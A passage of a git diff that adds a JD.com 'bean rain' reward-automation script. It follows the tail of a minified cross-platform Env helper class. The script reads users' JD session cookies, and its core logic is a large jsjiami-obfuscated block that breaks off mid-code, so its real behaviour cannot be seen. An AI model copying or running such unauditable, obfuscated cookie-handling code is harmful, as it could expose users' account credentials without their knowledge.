require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/jd_half_redrain.js b/jd_half_redrain.js new file mode 100644 index 0000000..7e0aeb9 --- /dev/null +++ b/jd_half_redrain.js @@ -0,0 +1,19 @@ +/* +半点京豆雨 + + +30 16-23/1 * * * jd_half_redrain.js + + */ +const $ = new Env('半点京豆雨'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +var _0xodW='jsjiami.com.v6',_0x5a5d=[_0xodW,'w7cjbUJN','wrozw7xywqQ=','WsK1TzDCtw==','RFfCnjjDpg==','w5Aow6RCVg==','U8K7wqHDuzA=','CsKkw681Ag==','AMKkIcOWwpo=','YQjCi8Okw4E=','w6R9F8OiwpA=','w4UZFx3Cjw==','QEDDt8KOEw==','wqZZw4rDisOZ','RMKdZj/Cvg==','w58xUm9W','wr8lNUhi','wrklw7ZgwqQ=','NsK3OFgSKsKRw6DDpsOEOAjCug4mLi7DmF3CpV7Cu8K7wpHDoMKpOcKQwrchdAzCoMKow4V5VQdYfmpQRsOAwrjDrArChcKuGg9tH2k=','w4QXRHNt','woBVDMOWBg==','w6cXw7AMVg==','wpEqAHRs','w5gcw7NEYw==','fjvCusOfw5U=','S8OjwpxawrTDpg==','ScKDew==','wr3CmMKQe8KwdsKqZsKnJ8K9w5/Dlw==','w69wDA==','wpNPAMOxwq/DlzPCvg7CgcO+FB4=','QRfCk2ti','OxzCrT9NwrPCsA==','F8OqwrdPIA==','ZQbCuVQ2YBQ=','w7dOcsKsDQ==','w75QM8OvwoU=','dsKYwrHDhA==','OcKdJ8OVwrg=','wrwWw6x8wqA=','DgNjCiU=','YzPCjsO/w6E=','w5LChcKzR1E=','wrYtBQ==','woAZw5AvbcO7wrPCksOE','w55VYQ==','wrQjD0s=','JsK2wpLDueiuleaznuWllui2me+/veivmuahhOadque/iOi2vemEvOisug==','5buq6YWW5o+G5LuV6L+Q5Y60aMKc6K+K56qv5ZOI6Yak6K+6w7c=','w4g1bHBt','w7/CisKDW1w=','OTxVCwk=','axDCgV8wfRs=','cgLCv0My','WcKWw5zCscKi','w5vCvsKJMjk=','w47CjMKYRlIdLQ==','w4d/w7PDqHw=','w54EIBnCtg==','MzPCuChp','dRbClHwB','w6/CkcKwCiw=','UjzCrkBQwqgp','LVrDisK8WQ==','w5xTZcKpG1LCkcOG','bAbDtG7Dvw==','SyrCq13Cvw==','w4Zcw7HDsFdqMsOc','w59tH8OSwpgRw6g1','GBjCixVo','wohDacKCCw==','BsK8BMOuwpY=','w6M9cnNU','wrwuDUFI','NsKKNU05','IMO/wq1FF1U=','fMKLfgDCpw==','w63CtMKlCQg=','wpxCAMO8Dw==','w43CosKbPTw=','bREY','5Lik5Lua5p+Q5YuZ5Ziy6L2E5ZmE56mY5pa95o+x','G8OtwoA=','WCrCvQ==','OiPDksK7','wpBLOcOxMQ==','McOgccKUwrQ=','TRvCnlnCog==','wpDCjMKYdMKv','RMKJw77CjMK2','w54zdXVKdyEWOFk=','DSZl','5bqY6Yay5o2b5LmD6L6m5Y60wqbCkeisrOeoluWTiemGhuittcOO','UcOkwqBcwr7DpHLCnMK/','w6ZxHcOlwqQC','w7IPw4RbQw==','w7RqZcKkIw==','A8OSwoBiNA==','aAHCl0rCrMKg','aQbCkX7Cqg==','wqMhKGJC','YsK1VhAn','wpshLUNW','KTbCriJF','RTjCqFdU','TsKdwrjDuCk=','wrhUacKSPw==','PwzDrXvCnA==','GcOEwpFlGQ==','wpotw4M=','5Luo5pW15q+z5pWF5bSi5rmi','6aKB5Y615aeM6LSK77+D5p+45Z+S5bSV6aKU6L2I','5b2T5buJ772/','w5TCi8KmQFsTKsODwpI=','asKfWA==','MBbCvg==','5Luf5LqG5p+v5Ym55Zmj6K6w6Zaq5peM5o2T5LqY56q8772l6K+Y5qGJ5p676Ie06LiD6K+X5aWL57+p57q/5oGy5YSM','IcOqwrFIFl8=','R8KawovDnAc=','5LiM6Ke/5Z2XDBJ3w4DDouaKkOWKs+WniuWJveewuOi2hOS/peaUojjDiHAKZ38=','wpRQGsO3HA==','G8KKOEUT','w6jCisKjRlk=','w5fCisORw5IZ','V8KWwrvDlDM=','wqojEF1f','XsKPWzrCuA==','wp8SC11O','wrMsBktCf8OI','woIww41X','N3jCu2jCicOfQQ==','ZTnChcO4w7E=','w5XCmsKiTEcHJg==','bMKfVjM=','QMKIYxHCpWk=','w7FGw4rDvnU=','w4g7w486cA==','cxPCpnkx','OsKVw4s+JjI=','w4JPdcKq','w6xsFcONwpUYw6QiZFrDhmM=','RsKCZBg=','I8KUFcOWwpIrfw==','CDpMFgQQ','Oi/Domw=','w7oFw45Ub0nCjQ==','IsOrwrBJ','w6PChcOe','TMKzwp3DtCfDnjLDuw==','ZBAJ','FMKHE2wkUsOrwog=','wrNSwox2SQ==','w6TCqcK6','wqByJsO0KsKSwrvDpcKD','wrpgfg==','KMOXRcKFw5rCm2I=','w4o1IBvCgF0=','OQHCsC8=','wrJWwpRhTcKAw5s=','wrACw40tasO5wpDCsA==','DsKZw5ctHcKLRg==','wpktDUVTVcOkwrMG','JsOcVcKEw4PCoGU=','wpxhZ8K9B2fDvsOUw4o=','JMKBw5k=','w6lxFcOLwr8V','ZxcTOhh9','w4UzYHFMPk1WPUxvHsOZw7vCpcO6w7saf8OlWUlIwqE=','I3zCp3fCjQ==','wrDClcKbZsK2cQ==','44CW5oyg56SF44GM6K6X5YWm6I+C5Y+u5Lmr5LiR6LWH5Y6Y5LiPMMKIcQ51KWDnmobmjoLkvoLnl5zCr3QMEsOtwrbnmZfkuZ7kuZvnr4rliIfoj47ljIo=','wrF/K8OUwo/CqE7Dji3Co8OaNGTDnsOgOSU2w5HDncKmUA==','w6/CvsKYb2omAsOswqUgF25R','BsOGwqlxMQ==','L8OlwoVPNQ==','w7IIw7c8Tw==','w44vPh/CuA==','w48IRXhc','w5nCo8KpLRs=','NsOswpNlOw==','DsKuw4zDtsOc','wq4Ow6J/wps=','A8OuZMK0wqE=','w6vCssKLHhI=','G8KKL0Up','dMK0wojDlBY=','RTHCm2vCow==','w6XCtsKyb3g=','BcKTw4Q=','wpsxw4M=','wozChsOZw4E=','Z8KnVQ7Cng==','F8OnQsKPwoE=','ZQXCnHrCvg==','XCrClEtVwrk=','DUvDkcKMUcOfwpU=','dijCpF7Clg==','wrDChMKXfcKw','IzFxAA8=','w7oxcXhO','U8ObwotEwok=','wr9pMw==','5pyO5Z6g6Yaf572bwoLDkVrDgMOm','C0LDisKdZw==','TcO4wrBRwok=','QCzCs2PCnw==','I8Kyw7EmOg==','awzCmg==','5Yya5ZWm6by9546xwpA=','woVXwppnTw==','wrh4w4c=','5Y695ZeV5a+p5oqq','wo7CiMOT','5LuL5pab6b+m54+F8KCAveS+m+WDtu+/l+aZr+eqveS5jOmFrOKasO+4hO+8l+aVouaVguWGkuachO+9kBDlib/lvJfpvqjnjqblu5rnp6vnp5Dms6bpmIrCscK3OcKiL3UbGsKaesKIEsKaw60dTn3CjjhbdjovU20=','cRPCoVkj','W8K9w40=','OC3DmA==','6b2A546A5bGu5L+pw4bCsg==','VBnCh0A+','d3DCjR3DsA==','ZjnCjHzCmQ==','wqMJw5RCwps=','w4cnw6krYw1yw5XCn8O1w7o=','FsOuwoh0Fg==','InjCv0nCgcOSUcKaRMKT','VsKURT8D','eDLCv1kN','wrxNW8KVDA==','wqB7wp7CjRI=','HMOnwp5y','wpZ+wonCjSXCssKo','GcKJw5Ah','w63CqMKr','P8OFfMKewrXCkcKGwpY=','QSPDjWnDmA==','R8O+wqQ=','w4BaJcOkwpMyw5AX','EsKxC0cW','w6rChMOP','ZMKmUiwm','w54zZmhRYwsfJQ==','XWnDtw==','w4QpcGRHSwQ=','UALCmEXChQ==','wrp2YcKi','w4Ehw6kXQSdOw4PCo8Oj','wp8Cw4U=','IcOIwqPDois=','fkPDrcKHBA==','EQFnOBI=','wprCvsKeecKT','w4Usw6s=','VMKxdhM/YDpswo5LODBMHMKpSjdTAA==','P8OowqXCt3w=','w6ETEw==','5pal5rOI5LiF5pyo5Z+Y6K2H5Y+y6Yaj572P77+s6K6j5qOa5p6N6Lyc6KGX5pS76Za4','w4oQw7ZhZw==','wrlWwo5iWMKc','KMO0wqd2EA==','w4HCr8K2eFI=','wrl2wpnCvgo=','w7Aow41BeA==','wqDCicKEYsK1','FsOsasKsw7Q=','5Lim5LiC5p235YiB5Zq+6L6k5Zmb56iq5pWX5o2b','ecKeaATCn2DCs8OB','fF7Dq8K4BQ==','a8KWwrbDkwo=','w59bcsKhPQ==','OCTDv3rCvA==','OcKDw43DnMO4','wp8xw6hVwonDuMOP','eCDCisO6w4sOwppY','A8Oja8K2w4s=','BkHDgg==','JsOHJ1zDuyvDtOW+pOWmg+OCv+S5lOS4uOi3huWOpA==','aw3CqVUv','B8KVw4AiMsKeSkI=','w5PCmMONw4QGGkfCiA==','wodtPisVLkhTdjY=','b8KEwo7DnwXDtQk=','BmzDlMK4Rg==','wq1mwpZGYw==','GsKtw48kMQ==','ahDCmg==','G8OgTsK/','44Cy5o2A56eo44CkwrPDrHTCkcKvbuW2oOWltuaUqQ==','5Lim5LiC6LWc5Y2X','fyfCjcO0w70=','aMKewqHDmyzDvQrDmQ==','BDnDvm3CisOYeMO6','w7ror6bphLbmlbjnmL/lvoTojbfljot2w4XDkm4+E8Obw4EIw4QkwpDCu8OiNcOMGMO5WzIZMCo=','w6TCjcOJw6M5','BcK7w7PDi8Opwoc=','chsRKjNgw77DmMK9Yg==','w5xba8Kn','ZcKYwq3DmwvDueW2leWmjeaWuQ3CqcKv','IMOyRsKowr7CssK+wrQ=','5Lu+5LqC6Lel5Y+W','HMKTw4w/HCHCsQ8=','Q+isl+mFpOaXveeYqeW8leiNq+WOvMOEUzHDliTDgg==','wrtdMsOVwro=','wpcMI35Q','KMKZw5rDscOh','wqpdwqHCujA=','w7bCtsKASnE=','JAJPFg0=','PAbDpcKqbw==','LjjCvzRZ','PsOxwqQ=','5b6E5buT776yw41qFlnCisOIwpPCmuWlj+WOpOaBp+WQiO+9nOWlkeWSnuS7rOS9sOaSmOiAjeiAp+i9pcKLccKrVMK+Ri9JwrsWKcO+I2IOw65PD8Kxwoo/wpTClnfDhT3DuA==','QDnCh2Y+','wrNhbw==','5Luc5pas6b2w54ya8L6BneS/puWBuu+9p+aZkeeoh+S5jemGrOKYn++4su+9qeaWgOaViOWEleacj++9l0zlipjlvL/pvannj57lubHnp43npofmsrfpmLzDp8K2IA3CjB3DjyJbwrnDo3XDtcOKw7LCmGkuK8OfwrDCjcKowr3ChQ==','G8OcwrHCin8=','DQtzKRY=','GGTDosKaXw==','w419E8OHwrQ=','wp8xw6pVworDtA==','w4FfaMKmG1zCiMOKw5wh','MMKiIU0=','bxDCqg==','wr1nOcO4','PcKeAsO/woE6','Aih2Ggg=','VGjDpg==','DyhvHA==','wqTDpuWnrOi1nXvCsOWMheWbgsO3wr8=','w4suemBTaBs=','NsOxwq1E','wplVwpLCoDU=','b8KZwqbDlRrDkwE=','B8OowovCtQ==','dMKSwrLDnAPDvwI=','RinCtk1F','wq1rfsKzHHHDqA==','w43CkMK9Rw==','wp8Iw4whd8O0','ZhLCjnBF','J8KdJMO+wqs=','UjMMIyk=','dBbCn1zCu8Km','A8OvwpHCsA==','wrJlw4/Dq8Ogw4EZwpXCiz/CpT0=','Pi3DlsKw','RzzCqkhQwr8t','wrN6wqFpXg==','QXjCmBDDoQ==','w4bCjMKXYXE=','M8OYT8KEw43CuQ==','w6XCnMKnUE0=','w6V8EMOFwrUE','Ri7Djm/Dqg==','w6B7T8KMCn3Cs8O3w7MeKMOcwpJfNQfDqCLCgg==','ScKIRwfCtw==','w5lNa8KbDA==','VlLCghfDuw==','JzTDvsKYTg==','GcOAwrXCvFM=','wr9ewoF2Tg==','aiLDlVbDvg==','TcKZUC0W','F8O2SMKvwok=','DyZjETIQNncow4TDglzCnMOWQBlHCA==','RwQIAhg=','McKoHFgb','FMKJw7zDtcO3','MQBtLww=','w6spe1V7','cwLCp1rCig==','wpV+LMOhwpE=','AsOgc8K2wrI=','P8OvwpHCnWY=','N8OswojCjFk=','dVPCnhXDvQ==','SMKRUD8u','AVvDkMKdWQ==','VizCu1sb','w75nw7XDoXc=','esKpw47Ch8KK','XMKxajY4','wqlhZsK6OQ==','f13DlMKiFA==','BSvCjAhC','YA/ClFsN','b8KfeBXCiw==','AcO0worCl0I=','YwDCuVkhfQHCnMOvZg==','wrNyw5Q=','YMKPQw/CnA==','w70Aw6hLbA==','wrtGwrXCrDA=','NzjCnQFE','YCsaAho=','UhDClmHChA==','JRjDlmrCoA==','DzjCowti','w5JGFsORwrg=','JcOQwrVvAg==','cC3Ci2HCtQ==','fn/DiMKdGA==','wqMaw4w+UA==','wrhww5PDi8O3','QMKKfjvChQ==','wopCb8K6NA==','wpLChsOGw5fClg==','YjHCvXN/','PSXDvA==','S3PDs8KCOzpHwqMg','WTbCvQ==','wofCvsKEYOivguawtuWlsui2gO+/p+iuiOaiheafmee9gei0mOmGi+istg==','D8Kww4/Dr8Om','wqAGN2xL','w4zCssO7w5oH','wrp1GsOyIMKQ','JMOXVw==','fsKsRDjCjk/CkcOwAcOpwqF7wqMcw6bChSglwpE=','w402w5IodA==','NMKfEw==','ZMKdw7TCjMK4w4HDtSMtw5/ChMKpwrXCkgdYRsKISQ==','wqJQwqlMdA==','EMOnwpNlIHjDpA==','wqMOw7YrTw==','OTbDsMKIRg==','w5p9LsONwpo=','PsKDw6AECg==','WAjCj0YD','dsKRTS4F','wqIEC0hp','H8K9w5/Dp8OiwobDjw==','6aGf5Y+d5omP5Yi777+w6Iyl5b+2','w7vCssKvETTDt8OzRMK0','w55VcsK2MEHChcOxw58rBMOvwqU=','6aK+5Y+R5oqR5Ym0772Z6I+q5b65w6U=','w6rChMOcw4ItCVPCv8KPw5rDjV4/','aDPCqFEkWBzClsOS','NGjCqmrCnMOVUMKX','5LqO5LqM6Le05Y+C','wovCicOQw4HCiw==','GcOrwoRqD23DqMOh','YCrCv1Z/wr0lw6w=','wrjporzlj5Dmi5Lli4rvvL/ojYvlvLTCmg==','GcOuV8KuwpXCocKqwoMkLsKLw7HCvg==','ay4aLw5Dw6PDgsKv','OMKVw4gjJinCqBM=','w7U5BCXChg==','wrxdwoRgVA==','w5gEw7QYZA==','VGHClTzDvGnDkQ==','McKmw4ArAQ==','VDPChnM4','wqU9w6kFbA==','eibCjg==','5Lq95pWn5q+G5pWx5baz5rut','6aOx5Y2U5aeW6LSk772N5pyg5Z6/5bW26aKa6Ly/','HcOzwoHCs0VuKcOZ','woBAwoV3YsKVw5cv','w5Bww6LDrWo=','M8O/aMKDw5U=','wpAVw5NCwos=','WsKzw5o=','5b2W5bm6776l','w4vCkMKz','bgzCqg==','5Lie5Lim5pyL5Ymj5Zi96K6M6ZSS5peT5o+U5Lmi56iL776P6Kym5qOQ5p6e6Ia56LiR6K+T5aeJ57+L57ux5oO35Yev','TsO/wrVwwqLDsQ==','w4/Ck8KxOQ0=','w5fCksOew5kj','woIew5InRA==','HMKICMOwwqM=','S3vCkA==','wpgjw4lf','IT8vB+iuiuaxjeWmu+i2lO+/l+ivrOagh+aerue/sei1n+mHhuivjg==','CsKhw6UXKw==','UxwdKC0=','bBHCj0Iu','44CG5o6Z56eT44KA6K2y5YSn6I2A5Y+r5LuH5Li56LWb5Y695LmgfFIKw5LDhMO9YOebveaPo+S+queWl8K+OsKKw7xMwpTnmZDkubHkuornrLbliYnojY/ljrs=','NsK3OFgSKsKRw6DDs8OQdwzDsE1rKyfDmUvCuVbDpg==','wph8K8Onwps=','YBrCnl14','wr5uKw==','TcKjwrjDoSA=','wrJmwrNvfw==','ZissJC4=','w40xw7o=','w6bCp8KwHQ==','bnHCnC/Dgw==','fMKWwonDoi8=','VsKMRiTCnA==','w6XCk8Ofw5gZ','NmnCqnDCncOPZ8KBRcKF','w4wtw7o=','5bqv6YSQ5o6Z5LuP6Ly85Yy0wpZX6K6T56qU5ZOT6YS76KyjwqM=','wqp/LcONwpLDtQjChzY=','ZSvCsml0','w6Jhw5fDkEs=','w692w4fDkVA=','cR8NPRg=','wpx+wpzCjTbCow==','T03Dm8KBPA==','fj3CncOhw7ZVw5gSAUFQOBJ+EFTCi8KYwq1fMHLDp8KPw4F7wo7DrGTCkMO6wrDDrzkawpQCw4l8WsO1w7g2wrfDhcK5w5luISDDg8O1worCs8K8wp7DmsObwqs7Cg==','fMKYw6LCisKmw4PDvCg2w4vCnMKpwqPCjwU=','woUnw6YOTQ==','JT9AAwQ=','w7/CkcK7NS4=','NQrClzRIwqI=','wrZoIg==','w4c4KxvClFMqwos8XAAYa0IO','ABhwIw0=','MCLDk17CrA==','BcKHw7bDrsOH','w5cVw7szQw==','HsOxwqluJWk=','wrwGw7tywq/DncOnSsKWUcOSNsO3wp4e','w41bw6Q=','w4zCr8O3w74JN2zCssK4w7vDuW0ew6nCog==','UcK5w4nCpsKGw7vDmw==','wobCpcKcesKC','YcKVSzkBWhQ=','G1fDtsK8UQ==','w6cDS0l+SCQmDm5Hb8OhwofCgw==','w7sPw4h1b17ChA==','cAcsGhw=','w6/Co8KpHDvDpMO7','XcKUXiLCsA==','w5o+w5E=','FMOgwovCqCcvIMOZW8OOwqcdSsKlfnzDmg==','wqVmJcK1AA==','B8Ktw5jDlMKgwoPDhizDiwo=','w4bCj8KkRVwXIsORwoIQKxNow5oxwpTCmAkhCsOeAWPCtcKYF8OnwqdpNC99wpw=','ADlrVw1bOEFnw47Dg30=','D1nDv23CuMOUS8KARMOPbTRbw6Iuw60PewvChBTDjsOBGcKlwprDhcOPw5LDl153eAlHw5pvFMOZwrfChcKlbsKy','CMO5wqZQIg==','EcOjwotyJA==','F1zCgkrCt8Oya8K6aMKmDUUrwoNVwpkecgk=','OMKCK8OVwpct','wqQDw610wrHDn8OuQcKNRcOKNsOhwoMcRcOkBxs=','EifDnUnCpg==','HcKtw7sRKA==','YhjCscOJw5E=','wrIaAT3CtmsFwrsARyV6','ehvCtj9Vw7o=','LcOsa8KYwqY=','w7XCn8Oaw58mHEPCi8KT','VcO5wo7CsW5hMMKBSsOKw7NPTMOlN3vDhh0aw50Rw4TDkHjDtMOPNwMtwqjCsDfCrjw=','PcOqdsKKwrg=','wq9jEsOpwoQ=','w617DsO0wr8dw6A=','w4vCn8K6PTU=','w47CjcK8DjY=','RcO1wqZhwrnDrn7CgMKpZTcIB8K0acOFw4U=','FwHDumnCqA==','DsOzUMK2w5s=','wptdw5HDkMOa','UcKZwrTDnSM=','fMKabCzCsg==','w5TCk8K4aGY=','XsKgXRzClQ==','RsOIwqF/wqI=','LMK4w5E/FQ==','wp/CqMK7XsKQCcOXFsKOVcOWw7zCrcK7wrXDksOsCMOwGWLCjndbUsKAF2nDowxpfMKwwqvDksO5SB7CgUfCjmXCrsKGDX3DjiY/','w6wfADrCo3YYwq0nag==','w5HCsMKhScOeA8OWCcOWUMOIwqHCs8O3wr3CncO7WsKtGDPDnTMCFMOVHmjDrwwmO8KswqvCosOxVB/ChQI=','w6c3LTnChw==','w4DCpsOYw4cd','CcKmw4s=','w5TCqsOhw7gXNWXCucKjw6/DoW0Iw7TCoARVEMKu','w6bCscKHKzM=','w4DCmsKgTVQAIg==','wpw+w5cfTw==','f8KhcTwC','NcO7wrdFGUzDpA==','BX3DkMKxfA==','wr1xDsOOLQ==','w7UhIg==','CcOyw4/Cu2U=','wpgIw4c2LsO9wrbCncOLw7w=','QT/DknDDpsO3WnzCkcK6HsOZYsOVc1M8H8K/wpjDmnfDu0PDgAtJY8KpdsKrwp7DrQ==','TcKdZFjCvC/CtMOAZsOMwpdJ','wplCYMO0FMKdwr3DrcKfwrhpasO5RRwGNyUawoBRwoHChgRkwqcUMMKew6dgwo9Swok4woDClsOhFcKxHcO6wqHCkg==','w493wo7CpifCpcKpMhLDpMOCJw==','eMKhI0wYLQ==','wqsow48xVQ==','GsKIw5EgEsKYTkEB','wqsfGDrCsHEYw6kZZnRhXXwreh3DpsO8wrpnwqLDksKVYcOObQ3Co3w4WAfDlA==','VQjClk7Cow==','A8KaDsObwp8=','YcKVSwkJQxA=','wqbCusKAasKn','V8KWcBkk','UcK5w4nClsKOw6LDnw0Lw7fCuMK5wpDCuzppYA==','woskLWp+','UBgwCjk=','wohtEMOgwrg=','PDvDk3PCrQ==','YS7Cn0Md','w7oEw5N6bQ==','O8KTFcOswoM=','TcKUXgHCsA==','wrZXwqHCgig=','XS3CrlRCw6ZnwqYlcX3ChRtuCcKYw6wYwq4Hwq1yV8O5NsO8wozDrsKSHhTDusODDwDCtGcKY2HCgcKRw5ooWcO5wrHCsTk=','EsO5wpbCsX1mMMOFdMOG','Y3HCpWPDlcKMCsOeEcOQZCpYw6p3wqw4AHXDj1DCicKeW8O+woXDksKOwovCikMVbBVvw5JzXsKKwro=','MC5zFyg=','5Lmk6KW95Z6LCxPCh2105oiz5Yi45aaI5Yqv57OS6LSP5L2Y5pSmwp91JkIXwok=','ckPDnsKjFBFowpoLch11w4LCl14=','DcOTU8KOwoE=','P8Khw6M9Kg==','BcOnwpNiLmjDoA==','w5JUM8OBwqY=','SxsuAB8=','wpEMw5Ej','AsK9MMONwos=','P8Kyw4gxGg==','QlzCmC7Diw==','c07CsynDpQ==','wrxTEsOhwoY=','wrJ2JMOxLcKWwrPDt8KTw7g+a8KgGEZIWBcxwp1Rw5nCmRpuw6FLLsKOw7Rvw6E=','woPCl8OEw4jCmmVaBSZ1YMKHwphvwo3DqxZkAMKEOD7DncKDw6l+FcObGsOpw4tkGw==','wr5xNsOUw5DCsgXChCnCqsOaLi/Cn8OuMTM=','JhHDtDhC','w6YZESPDuH4Awr0Yaw==','bsKESy0TFFoXwrB8EkFlN8OJfQpxYwcLCMKXwp3Cj3wKBMOcw7jCvsKLacOHXw3CsUQ0woDDkywawoHDik5XTDY=','JsKMwonDjcOdworDhSvDmEDCsjc0RcOLWcOWw6YBSMOaw4HCs8KYw6fDt2zDsXPCjcO0bCTCvAZha37DnnVQw6V/w40=','wqjCo8Ohw6U=','w4RqUcKmHg==','wpFCPMOwwp8=','wpF7w5rDlsOK','w4oAU1Jb','kjsjxHihamiQ.PcomQl.qXPvfN6hpVb=='];(function(_0x2fc6b5,_0x29afab,_0x1746ff){var _0x4c8823=function(_0x378b8b,_0x57af8e,_0x6bf9ec,_0x583a8c,_0x8ccdb7){_0x57af8e=_0x57af8e>>0x8,_0x8ccdb7='po';var _0x58efc='shift',_0x5d6f5d='push';if(_0x57af8e<_0x378b8b){while(--_0x378b8b){_0x583a8c=_0x2fc6b5[_0x58efc]();if(_0x57af8e===_0x378b8b){_0x57af8e=_0x583a8c;_0x6bf9ec=_0x2fc6b5[_0x8ccdb7+'p']();}else 